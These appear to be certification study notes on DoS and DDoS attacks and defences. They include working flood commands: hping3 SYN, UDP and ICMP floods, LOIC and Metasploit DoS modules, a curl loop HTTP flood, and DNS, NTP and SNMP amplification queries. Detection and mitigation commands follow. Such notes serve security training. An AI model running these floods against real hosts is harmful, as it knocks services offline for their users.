

CEHv13 A.I MODULE 10- Denial-of-Service

Notes by VIVEK GOSWAMI

INTRODUCTION

Denial of Service (DoS) and Distributed Denial of Service (DDoS) are cyberattacks designed to make a network service, server, or application unavailable to its intended users.

- DoS Attack: A single system sends a flood of requests to overload the target.
- DDoS Attack: Multiple compromised systems (botnet) send traffic simultaneously to exhaust resources.

These attacks overwhelm the target's bandwidth, server capacity, or processing power, causing service disruption or unavailability. DoS attacks originate from a single source, making them easier to detect, while DDoS attacks come from many distributed sources, making detection and mitigation more complex

Objectives of DoS/DDoS Attacks:

- Understand how DoS and DDoS attacks work.
- Learn the types and techniques used by attackers.
- Identify vulnerabilities that allow these attacks.
- Explore detection and prevention methods.
- Perform controlled lab simulations for learning.

Key Characteristics of a DoS Attack:

- **Single Source:** It starts from one system only.
- **Traffic Volume:** The traffic volume is high, but it comes from a single source.
- **Traceability:** Since the attack originates from one system, it is easier to trace compared to distributed attacks.
- **Blockability:** It is easier to block since all the traffic comes from one source, unlike DDoS attacks which have multiple sources.

Types of DoS/DDoS Attacks:

- Volume-Based Attacks:
 - **UDP Flood:** Floods the target with UDP packets to consume bandwidth.
 - **ICMP Flood (Ping Flood):** Overwhelms bandwidth with ICMP echo requests.
 - **Amplification Attacks (DNS, NTP, SNMP):** Uses third-party servers to amplify traffic volumes against the target.
- Protocol Attacks:
 - **SYN Flood:** Exploits TCP handshake by sending many SYN requests without completing the handshake.
 - **Smurf Attack:** Uses ICMP packets with spoofed source addresses to flood a network.
 - **Ping of Death:** Sends malformed or oversized packets, causing the target to crash.
- Application Layer Attacks:
 - **HTTP Flood:** Overloads web servers with HTTP requests.
 - **Slowloris:** Holds connections open by sending partial requests slowly.
 - **RUDY (R U Dead Yet?):** Uses long form submissions to exhaust server resources.

Common symptoms of DoS attacks include:

- Slow network or system performance.
- Increased spam emails (SMTP flooding).
- Resources or services are becoming unavailable.
- Loss of access to websites or web applications.
- Disconnection of internet connections (wired or wireless).
- Unusual network traffic patterns.
- Server crashes or system freezes.

Slowloris Attack:

- Holds connections open by sending partial HTTP requests.
- Keeps connections alive with periodic headers.
- Eventually exhausts web server connection pool.

Slow POST Attack:

- Sends legitimate POST requests very slowly.
- Keeps server waiting for complete request body.
- Ties up server resources for extended periods.

Attack Methodology Categories:

Volumetric Attacks:

- **Goal:** Overwhelm network bandwidth.
- **Mechanism:** High volume of traffic (Gbps scale).
- **Examples:** UDP floods, ICMP floods, and amplification attacks.
- **Measurement:** Bits per second (bps).

Protocol Attacks:

- **Goal:** Exhaust server resources or network equipment.
- **Mechanism:** Exploit protocol weaknesses.
- **Examples:** SYN floods, fragmented packet attacks.
- **Measurement:** Packets per second (pps).

Application Layer Attacks:

- **Goal:** Crash or overwhelm application services.
- **Mechanism:** Target specific application vulnerabilities.
- **Examples:** HTTP floods, DNS query floods.
- **Measurement:** Requests per second (rps).

These attacks carefully target different layers to exhaust bandwidth, protocol handling, or application resources.

Methodology of DoS/DDoS Attacks:

- Reconnaissance – Identify the target IP or domain.
- Resource Enumeration – Determine bandwidth, services, and open ports.
- Attack Execution – Use single or multiple distributed sources for the attack.
- Impact Assessment – Observe downtime and resource usage on the target.
- Cleanup & Analysis – Stop the attack and analyse logs for insights.

TOOLS FOR DOS AND DDOS TESTING

1. **Hping3** – Open-source TCP/IP packet assembler and analyser for custom DoS attacks.
2. **Slowloris** – Tool for launching slow HTTP DoS attacks by holding connections open.
3. **OWASP DDoS HTTP POST** – Simulation tool for testing HTTP POST flood attacks.
4. **Golden Eye** – DDoS test tool to simulate various attack types on servers.
5. **Raven-Storm** – Python-based DDoS toolkit supporting multiple protocols.
6. **MazeBolt RADAR** – Continuous, non-disruptive vulnerability testing for DDoS defences with AI-powered analysis.
7. **Radware DefensePro** – Real-time automated DDoS protection with behavioural algorithms.
8. **Akamai Prolexic** – Cloud-based, always-on or on-demand DDoS protection platform.
9. **Imperva DDoS Protection** – Comprehensive DDoS mitigation for cloud and multi-server environments.
10. **Cloudflare DDoS Protection** – Widely used CDN-backed DDoS mitigation service.

ADVANCE DOS/DDOS TESTING

Amplification Attacks

1. DNS Amplification

DNS amplification attack concept

- Attacker sends a small DNS query with a spoofed source IP (victim)
- The DNS server responds with large answer to the victim
- The amplification factor can be 50:1 or higher
- Example DNS query for amplification
- `dig ANY victim-domain.com @open-dns-resolver`

2. NTP Amplification

NTP amplification using monlist command

- # Small request results in a large response list
- `ntpd -c monlist target-ntp-server`

3. SNMP AMPLIFICATION

SNMP amplification using GetBulk requests

→ `snmpbulkget -v2c -c public target-ip .1.3.6.1.2.1.1`

REFLECTION ATTACK

1. Smurf Attack

- ◆ ICMP echo requests to broadcast address with spoofed source IP
- ◆ All hosts on network respond to victim IP
- ◆ Creates amplification effect

2. Fraggle Attack

- Similar to Smurf but uses UDP instead of ICMP
- Targets UDP echo service (port 7) or chargen service (port 19)

3. Distributed Reflection DoS (DRDoS)

- Combines reflection and amplification techniques
- Uses multiple reflector servers to hide attack source
- Difficult to trace back to original attacker

4. Botnet-Based Attacks

A. Command and Control (C&C)

- Attacker compromises multiple systems to create a botnet
- The central C&C server coordinates the attack
- Can combine multiple attack vectors simultaneously

B. Peer-to-Peer Botnets

- Decentralised command structure
- More resilient to takedown efforts
- Harder to detect and mitigate

DOS/DDOS TESTING

1. NETWORK LAYER TESTING TOOLS

HPING3

→ TCP SYN flood

```
hping3 -S -p 80 --flood target-ip
```

→UDP flood

```
hping3 --udp -p 53 --flood target-ip
```

→ICMP flood

```
hping3 --icmp --flood target-ip
```

→Custom packet crafting

```
hping3 -S -p 80 -i u1000 target-ip # Send SYN every 1ms
```

→Fragmentation attack

```
hping3 -S -p 80 -f target-ip # Fragment packets
```

→Land attack (source = destination)

```
hping3 -S -p 80 -a target-ip target-ip
```

2. Nmap DoS Scripts

→ Various DoS testing scripts

```
nmap --script dos target-ip
```

→ Specific DoS scripts

```
nmap --script http-slowloris target-ip
```

```
nmap --script smb-flood target-ip
```

```
nmap --script ssl-dh-params target-ip
```

→ Custom timing for DoS testing

```
nmap -T5 --script dos target-ip
```

APPLICATION LAYER TESTING TOOL

1. LOIC (Low Orbit Ion Cannon)

LOIC is a GUI application - configuration steps:

1. Set target IP or URL
2. Select attack method:
 - TCP: Traditional TCP flood
 - UDP: UDP packet flood
 - HTTP: Application layer attack
3. Configure parameters:
 - Port number
 - Threads
 - Speed
4. Start attack

Command line alternative

```
mono LOIC.exe /target:192.168.1.100 /port:80 /method:tcp /threads:10
```

2. HOIC(High Orbit Ion Cannon)

HOIC features:

- Multiple target URLs (up to 256)
- Booster scripts for enhanced attacks
- HTTP POST/GET flood capabilities
- User-agent randomization

Configuration steps:

1. Add target URLs
2. Load booster scripts
3. Configure attack power
4. Launch coordinated attack

HTTP FLOOD TOOLS

Apache Bench (ab) - Legitimate tool that can be misused

→ab -n 100000 -c 1000 http://target-ip/

Siege

→siege -c 1000 -t 60s http://target-ip/

wrk

→wrk -t12 -c400 -d30s http://target-ip/

Custom HTTP flood with curl

→ for i in {1..100000}; do curl http://target-ip/ & done

METASPLOIT DOS MODULE

Metasploit DoS auxiliaries

use auxiliary/dos/tcp/synflood

set RHOST target-ip

set RPORT 80

run

use auxiliary/dos/http/slowloris

set RHOST target-ip

set RPORT 80

run

use auxiliary/dos/ssl/dtls_fragment_overflow

set RHOST target-ip

run

use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop

set RHOST target-ip

Run

DETECTION AND MONITORING

1. NETWORK-BASED DETECTION

Monitor network traffic patterns

Unusual traffic volume

`netstat -i` # Interface statistics

Connection state monitoring

`netstat -an | grep SYN_RECV | wc -l` # Count half-open connections

Bandwidth monitoring

`iftop -i eth0` # Real-time bandwidth usage

`vnstat -l -i eth0` # Live bandwidth monitoring

Packet capture for analysis

`tcpdump -i eth0 -n host target-ip`

`wireshark` # GUI-based packet analysis

2. SYSTEM-BASED DETECTION

System resource monitoring

CPU usage monitoring

`top -p $(pgrep -d',' httpd)` # Monitor web server processes

→Memory usage

`free -m` # Check available memory

`ps aux --sort=-%mem | head` # Top memory consumers

→Network connections

`ss -tln` # List listening sockets

`ss -o state syn-recv` # Half-open connections

→Log analysis

`tail -f /var/log/apache2/access.log | grep -E "40[0-9]|50[0-9]"` # Error responses

`grep "Connection reset" /var/log/messages`

3. APPLICATION-LEVEL MONITORING

Web server monitoring

Apache mod_status

curl http://localhost/server-status

Nginx status

curl http://localhost/nginx_status

Application performance monitoring

Response time monitoring

curl -w "@curl-format.txt" -o /dev/null http://target-ip/

Where curl-format.txt contains:

```
time_namelookup: %{time_namelookup}s\n
time_connect: %{time_connect}s\n
time_appconnect: %{time_appconnect}s\n
time_pretransfer: %{time_pretransfer}s\n
time_redirect: %{time_redirect}s\n
time_starttransfer: %{time_starttransfer}s\n
-----\n
time_total: %{time_total}s\n
```

CLOUD-BASED PROTECTION

Cloudflare CLI for DDoS protection

Install Cloudflare CLI

npm install -g @cloudflare/cli

Configure DDoS protection rules

```
cf firewall rules create --zone-id ZONE_ID \
--action "block" \
--expression "ip.geoip.country eq \"CN\"" \
--description "Block traffic from specific country"
```

AWS Shield Advanced (via AWS CLI)

aws shield describe-protection --resource-arn

arn:aws:elasticloadbalancing:region:account:loadbalancer/name

Enable AWS WAF rate limiting

```
aws wafv2 create-rule-group --scope CLOUDFRONT \
  --name "RateLimitRule" \
  --capacity 100 \
  --rules file://rate-limit-rules.json
```

Incident Response and Recovery

Immediate Response Actions

1. **Identify Attack Type:** Determine if it's volumetric, protocol, or application layer
2. **Activate DDoS Response Team:** Notify relevant stakeholders
3. **Implement Emergency Controls:** Block malicious traffic sources
4. **Scale Resources:** Add additional bandwidth or server capacity
5. **Monitor Key Metrics:** Track attack effectiveness and system health

TRAFFIC ANALYSIS AND FILTERING

→Emergency traffic filtering

Block top attacking IPs

```
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n | tail -20
```

Block IPs with iptables

```
for ip in $(cat attacking_ips.txt); do
  iptables -A INPUT -s $ip -j DROP
done
```

→ Null route traffic

```
route add 192.168.1.100 gw 127.0.0.1 lo # Null route attacker IP
```

BGP blackhole routing (ISP level)

Coordinate with ISP for upstream filtering

Emerging Attack Vectors

- IoT Botnets:** Mirai and variants targeting IoT devices
- Reflection Amplification:** Abuse of legitimate services (DNS, NTP, SNMP)
- Application Layer Complexity:** Targeting specific application vulnerabilities
- Cryptocurrency Mining:** Resource exhaustion through cryptojacking
- AI-Enhanced Attacks:** Machine learning for evasion and optimisation

Modern Mitigation Technologies

- >Machine Learning Detection: AI-based anomaly detection
- >BGP Flowspec: Automated traffic filtering at ISP level
- >Edge Computing: Distributed mitigation at network edge
- >Container-Based Defence: Microservices architecture for resilience
- >Quantum-Safe Protocols: Future-proofing against quantum attacks